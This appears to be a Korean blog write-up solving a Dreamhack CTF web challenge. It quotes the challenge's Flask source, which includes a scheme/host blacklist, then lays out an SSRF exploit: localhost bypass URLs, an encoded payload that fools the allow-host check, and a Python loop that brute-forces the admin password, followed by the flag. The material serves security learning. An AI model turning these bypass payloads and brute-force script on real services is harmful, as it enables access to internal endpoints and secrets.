TOKEN = "{**SWAPED**}"
FLAG = "SWAP{sample_flag}"
BLACK_LIST = ['file', 'dict', 'sftp', 'tftp', 'ldap', 'netdoc', 'localhost', 'gopher', '127.0.0.1']
PASSWORD = f"{random.randint(0, 255):02X}"
ALLOW_HOST = ['abcd.com', 'asdf.com', 'example.com']
print("password is : " + PASSWORD)
코드를 보면 black_list와 allow_host를 설정해둔 것을 확인할 수 있다.
@app.route('/user-page', methods=['GET'])
def user():
url = request.args.get('url')
if not url:
return jsonify({"swap": "Write URL"}), 400
if not any(allow in url for allow in ALLOW_HOST):
return jsonify({"swap": "URL not allowed"}), 403
for bad in BLACK_LIST:
if bad in url.lower():
return jsonify({"swap": "BAN LIST"}), 403
try:
result = subprocess.run(
["curl", "-s", url],
text=True,
capture_output=True,
check=True
)
return jsonify({"response": result.stdout})
except subprocess.CalledProcessError as e:
return jsonify({"swap": "Error!~", "details": str(e)}), 500
/user-page에 접속하면 사용자가 파라미터로 url을 지정할 수 있다.
만약 사용자가 url을 입력하지 않았다면 Write URL이라는 문구를 출력한다.
만약 url에 위에서 설정한 allow_host가 포함되어 있지 않다면 URL not allowed를 출력한다.
만약 url에 위에서 설정한 bloack_list 문자가 포함되어 있다면 대소문자 구분 없이 BAN LIST를 출력해준다.
@app.route('/access-token', methods=['GET'])
def admin():
if request.remote_addr in ["127.0.0.1"]:
# 127.0.0.1로 접속했다면
password = request.args.get("password")
# password 입력 받음
if password:
if password == PASSWORD:
# 입력값이 db에 저장된 password와 일치하면
return jsonify({"server": TOKEN}), 200
# Token 출력
else:
return jsonify({"server": "Nop~ Password Wrong><"}), 403
else:
return jsonify({"server": "Write Password!"}), 400
else:
return jsonify({"server": "Only Localhost Can Access : )"}), 403
/access-token에 접속하려면 localhost여야 한다. 아니라면 Only Localhost Can Access : )를 출력한다.
만약 localhost로 접속했다면 사용자에게 Password를 파라미터로 입력 받는다.
만약 db에 있는 password와 사용자가 입력한 password가 같다면 TOKEN을 출력해준다.
@app.route('/admin', methods=['GET'])
def check():
if request.args.get("token") == TOKEN:
# 만약 사용자가 입력한 token과 db에 저장된 token이 일치하면
return "<h1>dotori-company : $#@&*(@#&*(@)) BeePPP.. </h1>" + FLAG
# flag 출력
else:
return jsonify({"server": "you are not admin..."}), 403
/admin에 접속하면 token을 사용자가 입력할 수 있는데, 만약 사용자가 입력한 토큰과 db에 존재하는 토큰이 같다면 flag를 출력한다.
익스플로잇
해당 웹 서비스에서 flag를 알아내기 위해서는 token을 탈취하여 admin 페이지에 접근해야한다.
token을 탈취하기 위해서는 access-token 페이지에 접속해야한다. 하지만 해당 페이지는 로컬 호스트만 접속할 수 있기 때문에 black_list를 우회하여 localhost 권한으로 해당 페이지에 접속해야한다. --> ssrf 취약점
<localhost 우회>
http://vcap.me:1530
http://0x7f.0x00.0x00.0x01:1530
http://0x7f000001:1530
http://2130706433:1530
http://Localhost:1530
위와 같은 url들로 localhost를 우회할 수 있다.
-> request.args.get은 기본적으로 Url encoding을 하기 때문에 위의 페이로드를 인코딩한 뒤에 삽입해야한다.
= http%3A%2F%2F0x7f.0x00.0x00.0x01%3A5000%2Faccess-token%23%40abcd.com

이제 로컬 호스트로 접속을 했으니, password를 알아내야한다.
import requests
for i in range(0, 256, 1):
password = f"{i:02X}"
url = f'http://host8.dreamhack.games:20858/user-page?url=http%3A%2F%2F127.0.0.2%3A5000%2Faccess-token%3Fpassword%3D{password}%23%40abcd.com'
res = requests.get(url)
print(password)
if "Wrong" not in res.text:
print(res.text)
break

SWAP{dotori_the_company_was_killed_by_ssrf}
'CTF & Wargame(WEB)' 카테고리의 다른 글
| dreamhack insane python (1) | 2025.05.20 |
|---|---|
| dreamhack username:password@ 풀이 (0) | 2025.05.20 |
| SSTI 관련 문제 풀이 (0) | 2025.05.04 |
| JWT (JSON Web Token) 취약점 관련 문제 (0) | 2025.05.02 |
| level 1 error based sql injection (0) | 2025.04.22 |